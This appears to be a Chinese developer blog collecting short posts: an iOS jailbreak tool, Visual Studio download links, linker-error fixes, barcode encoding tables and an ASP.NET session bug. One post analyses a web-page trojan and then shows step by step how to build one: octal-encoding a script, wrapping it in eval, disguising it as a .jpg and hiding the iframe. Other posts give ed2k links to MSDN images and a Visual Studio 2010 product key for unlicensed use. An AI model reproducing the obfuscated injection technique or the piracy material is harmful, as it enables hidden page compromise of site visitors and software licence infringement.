博客 (316)

evasi0n 是由 pod2g、planetbeing、pimskeks、肌肉男四名黑客组成的 evad3rs 越狱梦之队发布的 iOS6 完美越狱工具。可以完美越狱 iOS6.0、iOS6.0.1、iOS6.0.2、iOS6.1、iOS6.1.1 和 iOS6.1.2 等多个固件版本的所有 iOS6 设备（AppleTV 除外）。

 

下载地址：http://evasi0n.com/

 

离 VS2008 发布已经过去多年了，最近有个项目必须用到，我觉得还是有必要把它的一些信息写下来，特别是下载和注册方式，方便日后查看。我关心的当然是 Team Suite 版本。

zh-hans_visual_studio_team_system_2008_team_suite_trial_x86_dvd_x14-29243.iso 是 90 天试用版 （需要序列号，网上有很多）

这里推荐 MSDN 版（无需序列号，没有使用期限）：

有了用这个 SHA1 去网上搜一下，就可以看到一大堆下载地址，譬如：

ed2k://|file|zh-Hans_visual_studio_team_system_2008_team_suite_x86_dvd_X14-26452.iso|4663904256|8E2D6430D819328940B9BF83568589FA|/

SP1 补丁包：

Visual Studio 2008 Service Pack 1 (x86, x64 WoW) - DVD (Chinese-Simplified)

文件名：zh-hans_visual_studio_2008_service_pack_1_x86_dvd_x15-12981.iso
SHA1：8C3EA92CBC60CECB30B6262DB475BDE1E2620B36
ed2k://|file|zh-hans_visual_studio_2008_service_pack_1_x86_dvd_x15-12981.iso|941703168|E1647161AA5CA4567B787A5606D2A065|/

 

离 VS2012 发布已经过去一年了，我觉得还是有必要把它的一些信息写下来，特别是下载和注册方式，方便日后查看。我关心的依旧是 Ultimate 版本。

VS2012_ULT_chs.iso 是 Windows 下载中心的 Trial 版 （需要序列号，网上有很多）

这里推荐 MSDN 版（无需序列号，没有使用期限）：

有了用这个 SHA1 去网上搜一下，就可以看到一大堆下载地址，譬如：

ed2k://|file|cn_visual_studio_ultimate_2012_x86_dvd_920954.iso|1643802624|A3058CE4F2AD7035DB6E67586D07AAA5|/
 

设置方法：在“编辑”菜单上指向“大纲显示”，然后单击“启动自动大纲显示”。

Windows 7 使用 VS.NET 2003 开发项目时经常会遇到类似如下错误：

TestServer fatal error LNK1201: 写入程序数据库“d:\Projects\GameServer\data\TestServer.pdb”时出错；请检查是否是磁盘空间不足、路径无效或权限不够

在排除了空间、路径、权限等原因后仍然无法顺利生成项目，微软官方也没有提供相关的解决方案，Google 了好几天也找不到网友任何修复建议，今天偶然发现 MSDN 上一篇帖子，正是讨论这个问题，于是尝试按照上面的步骤进行操作，竟然真的可以！特分享给大家~

一、首先下载两个文件：Handle freepdb

二、解压这两个压缩包，并把“freepdb.cmd”和“handle.exe”两个文件移至同一目录下（如 C:\LNK1201\）

三、用 VS.NET 2003 打开一个项目，在解决方案资源管理器中项目文件上点右键属性，展开“生成事件”，点击“预生成事件”，在右侧命令行中填入“C:\LNK1201\freepdb TestServer”（注：将 TestServer 替换成您自己的项目名称）

四、完成！运行一下看看吧。如果仍然有问题，先双击运行这两个文件试试，因为我是先运行后再配置项目属性的，所以不确定不运行会不会出错。

如果上述文件无法下载，请联系 xoyozo 索取！Have fun!

今天访问某 asp 网站时发现不对劲，一看源文件原来网页被挂马了，仔细查看源代码发现：

<script>document.write("<scri");</script>pt src="images/banner.jpg"></script>

这段代码调用了 banner.jpg 这个 js 文件。用记事本打开这个文件发现以下内容：（木马内容已替换成安全内容）

eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51")

代码非常整齐，立刻怀疑是 ascii 码的八进制代码。于是解码之，就看到了：（木马内容已替换成安全内容）

document.write('<iframe src=https://xoyozo.net></iframe>')

至此，整个流程已非常清晰了。

八进制转化为十进制

var a = '144';
alert(parseInt(a, 8));  // 输出为 100

十进制转化为八进制

var a = 100;
alert(a.toString(8)); // 输出为 144

ASCII 码转化为字符

var a = 100;
alert(String.fromCharCode(a));  // 输出为 d

字符转化为 ASCII 码

var a = "d";
alert(a.charCodeAt(a));  // 输出为 100

如果用 alert 直接输出编码后的代码，看到的却是原码，下面提供HTML编码和解码：

function HTMLEncode(input) {
  var converter = document.createElement("DIV");
  converter.innerText = input;
  var output = converter.innerHTML;
  converter = null;
  return output;
}

function HTMLDecode(input) {
  var converter = document.createElement("DIV");
  converter.innerHTML = input;
  var output = converter.innerText;
  converter = null;
  return output;
}

您可以比较一下区别：

var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(a);

var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(HTMLEncode(a));

现在完全可以实现宿主页面执行嵌套 iframe 的效果了。如果需要更隐蔽，可以给 <iframe/> 加上尺寸属性。下面一起来制作一个简单的木马：把

document.write('<iframe src=https://xoyozo.net></iframe>')

编码为

\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51

的代码为

var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
var b = "";
for (var i = 0; i < a.length; i++) {
  b += "\\" + a.charCodeAt(i).toString(8);
}
document.write(HTMLEncode(b));

然后加上 eval() 方法，保存为 .jpg 文件，再通过文章开始介绍的方法调用就行了。

公司有个项目是使用实体刷卡的会员管理系统，并为其它系统如餐饮系统、美发厅管理系统等提供统一的会员注册与信息管理。暂定使用一维条形码卡。

一般来说，商品最常用的编码是EAN-13，而非商品（如图书馆会员卡，驾驶证条码等）一般使用39码。

39码 在线测试地址：http://xoyozo.net/Tools/Code39

EAN-13 在线测试地址：http://xoyozo.net/Tools/EAN-13

 

39码

39码比较简单，条码以“*”为起始符和终止符，见下图：

 

 

它所能表示的字符包括：0~9 的数字，大写 A~Z 的英文字母，「+」，「-」，「*」，「/」，「%」，「$」，「.」，以及空格符(Space)等，共44组编码。

39码表：“0”对应白色空位，“1”对应黑色线条。

字元	逻辑型态	字元	逻辑型态
A	110101001011	N	101011010011
B	101101001011	O	110101101001
C	110110100101	P	101101101001
D	101011001011	Q	101010110011
E	110101100101	R	110101011001
F	101101100101	S	101101011001
G	101010011011	T	101011011001
H	110101001101	U	110010101011
I	101101001101	V	100110101011
J	101011001101	W	110011010101
K	110101010011	X	100101101011
L	101101010011	Y	110010110101
M	110110101001	Z	100110110101

 

字元	逻辑型态	字元	逻辑型态
0	101001101101	+	100101001001
1	110100101011	-	100101011011
2	101100101011	*	100101101101
3	110110010101	/	100100101001
4	101001101011	%	101001001001
5	110100110101	$	100100100101
6	101100110101	.	110010101101
7	101001011011	空白	100110101101
8	110100101101
9	101100101101

 

值得注意的是，39码生成的条形中，每个码之间有一个空位，经扫描枪测试，该空位与一个单位的线条宽度相等时，能确保被正确扫描。

代码见附件

 

EAN-13码

EAN-13码是由13位数字构成，其中最后一位为校验码：

 

 

 

 

左侧空白区	起始符	左侧数据符	中间分隔符	右侧数据符	校验符	终止符	右测空白区
9个模块	3个模块	42个模块	5个模块	35个模块	7个模块	3个模块	9个模块

 

 校验码计算的步骤如下： 以 234235654652 为例：

	数据码												校验码
代码位置序号	13	12	11	10	9	8	7	6	5	4	3	2	1
数字码	2	3	4	2	3	5	6	5	4	6	5	2	?
偶数位		3	+	2	+	5	+	5	+	6	+	2
奇数位	2	+	4	+	3	+	6	+	4	+	5

 

 

① 从序号2开始，将所有偶数位的数字代码求和，得出S1;  S1=3+2+5+5+6+2=23

② 从序号3开始，将所有奇数位的数字求和，得出S2;  S2=2+4+3+6+4+5=24

③ S3=S1*3+S2;  S3=23*3+24=93

④ C=10-(S3的个位数)，得到校验码C的值。并且当S3的个位数为0时，C=0。  C=10-3=7

 EAN码的编码规则： 

数字符	左侧数据符		右侧数据符
	A	B	C
0	0001101	0100111	1110010
1	0011001	0110011	1100110
2	0010011	0011011	1101100
3	0111101	0100001	1000010
4	0100011	0011101	1011100
5	0110001	0111001	1001110
6	0101111	0000101	1010000
7	0111011	0010001	1000100
8	0110111	0001001	1001000
9	0001011	0010111	1110100

 （关于左侧数据符，网络上的资料均显示A3及B6为6位数，经本人实践亲自查证，已修正）

起始符：101
中间分隔符：01010
终止符：101。
A、B、C中的“0”和“1”分别表示具有一个模块宽度的“空”和“条”。
因为左侧数据编码方式有两种，要按照前置码选其中一种，如表：

前置字符	左侧数据符编码规则的选择
0	A	A	A	A	A	A
1	A	A	B	A	B	B
2	A	A	B	B	A	B
3	A	A	B	B	B	A
4	A	B	A	A	B	B
5	A	B	B	A	A	B
6（中国）	A	B	B	B	A	A
7	A	B	A	B	A	B
8	A	B	A	B	B	A
9	A	B	B	A	B	A

 

 

 

前日（2010年4月12日），微软正式发布了 Microsoft Visual Studio 2010，相信这是个让众多微软开发者们心情激动的一天吧。至于 VS是啥米东东之类的就不再解释了，相关人员请移步维基百科。

 

微软称 Visual Studio 2010 集成开发环境（IDE）的界面被重新设计和组织，变得更加清晰和简单。新的 IDE 更好的支持了多文档窗口以及浮动工具窗，并且对于多显示器的支持也有所增强。IDE的外壳使用 WPF 重写，内部使用 MEF 重新设计，以提供比先前版本更好的扩展性。

VS2010 的版本较之前版本有所不同，取消了标准版、团队版命名方式等，而采用跟 Window 7 一致的：

产品功能	Professional （专业版）	Premium （高级版）	Ultimate （旗舰版）
测试和诊断	≈	≈	√
测试工具	≈	≈	√
集成开发环境	√	√	√
数据库开发	≈	√	√
开发平台支持	√	√	√
体系结构和建模	×	≈	√
Lab Management	×	×	√
Team Foundation Server	≈	≈	√
MSDN 订阅	≈	≈	√
价格	$1,199	$5,469	$11,899

（注：√ 支持 × 不支持 ≈ 部分支持）

“只选贵的”符合天朝国情。许多大侠认为官方下载的肯定是未破解的，那是您的错，其实微软也是一只河蟹，记住一个公式：Trial（测试版）+ Key（序列号）= 正式版

分卷下载：（下载后双击part1.exe解压为 VS2010UltimTrial.iso）
VS2010UltimTrialCHS_4PartsTotal.part1.exe 官网下载 迅雷下载
VS2010UltimTrialCHS_4PartsTotal.part2.rar 官网下载 迅雷下载
VS2010UltimTrialCHS_4PartsTotal.part3.rar 官网下载 迅雷下载
VS2010UltimTrialCHS_4PartsTotal.part4.rar 官网下载 迅雷下载
完整镜像下载： X16-60997VS2010UltimTrialCHS.iso 官网下载 迅雷下载
CRC: 0x3DB619A0
SHA-1: 0x8BA7308E1F74AEE8DE6094CE04F78CD21486608D

分卷下载：（下载后双击part1.exe解压为 VS2010UltimTrial.iso）
VS2010UltimTrial_4PartsTotal.part1.exe 官网下载 迅雷下载
VS2010UltimTrial_4PartsTotal.part2.rar 官网下载 迅雷下载
VS2010UltimTrial_4PartsTotal.part3.rar 官网下载 迅雷下载
VS2010UltimTrial_4PartsTotal.part4.rar 官网下载 迅雷下载
完整镜像下载： X16-42552VS2010UltimTrial1.iso 官网下载 迅雷下载
CRC: 0x8095c67f
SHA-1: 0x8371f6a8d090063fcc320617e94854374633df3c

钥匙：YCFHQ-9DWCY-DKV88-T2TMH-G7BHP(需刮开才能看到，显示器刮坏请找经销商)

开始 - 设备和打印机 - 有绿箭头的打印机图标上右键 - 查看现在正在打印什么 - 打印机 - 共享 - 取消共享这台打印机

     今天算是长见识了，项目发布到服务器上面了，但是客户在使用的时候发现，只要进入新增页面和修改页面。再进行操作就会自动跳转到登陆页面（我设置了session保存用户登陆信息），而别的页面就不会出现这个问题。从下午开始找个问题，开始以为不知道只有这两个页面有问题，以为全部都是这样的问题，是IIS的设置问题。我将session的超时时间设置了3个小时，发现还是会跳转到登陆页面。也在web.config文件里面设置了超时时间。但是效果还是一样的。自己测试了一下午，发现只有新增页面和修改页面会出现这样的问题（本机测试没问题/测试服务器上测试也没问题）。经过几次实验，发现确实只有这两个页面会有问题，那就可以断定：不是IIS设置问题，也不是web.config的问题。本地调试也不出现这样的情况，没办法，只能等客户下班之后，没人用了才到正式服务器上去慢慢的调试，最后想个笨办法，将其中一个页面的.cs文件里面的代码一句一句的删掉，可没想到我都将cs文件里面的代码全部删除了，还是会出现这样的情况，我当时就纳闷了。不是事件的问题，难道是HTML页面出了问题？？？

    既然耐着性子删了cs文件的代码。我就继续删！将aspx页面里面的HTML代码和JS代码也一个一个的删掉，一个一个控件删掉测试，从下午上班一直测试到晚上11点，眼睛都看花了，终于，在我将aspx页面的其中几个控件删除之后发现问题了！页面不跳转了！这下来劲了，肯定是这几个控件的原因，于是乎，我就一个一个控件还原回去，不跳转！继续还原！！当我还原到<img src="" >这个控件的时候测试，发现问题了！只要我一加上<img src="">这个标签！页面就跳转到登陆页面了。问题肯定出在这了！但是我又想不通了，为什么就这个HTML标签一加上就会出问题，这应该不关session什么事啊，怎么会加上这个标签页面就直接跳转了呢？

     在网上找了下资料，没找到相关的资料，后来试着将img 标签的src=""加上图片，src="imges/001.jpg" 再测试，发现页面不跳转了！！原来问题出现在这里！

src=""为空的情况下，可能导致session丢失！跟经理说了下这个情况，他也很惊奇还没见过一个HTML标签会导致session丢失的情况，因为在本地和测试服务器上测试的时候都没这样的情况，后来猜测了下，可能是IIS的问题，可能是IIS解析的时候解析到src=""这个地方解析不了，导致程序出问题。但这只是个人猜测，正式服务器上我也没权力当时去打补丁，一个大公司的正式服务器，我要打补丁去了，那他们别的网站和系统不全当机了？所以就只要想了个办法，将src=""里面加上图片，幸好这个img标签是隐藏起来的，加了也不影响界面。呵呵。。。

    最让人郁闷的是我测试的时候是用Symantec pcAnywhere这个软件远程连接到的正式服务器上。反应慢得可以，简直比电脑没装显卡驱动还慢...唉，不过累也累了，以后碰到这样的情况就有经验了。

    我不知道网上有没有人碰到过跟我一样的情况；如果碰到了，希望能给你带来点灵感。哇哈哈。。。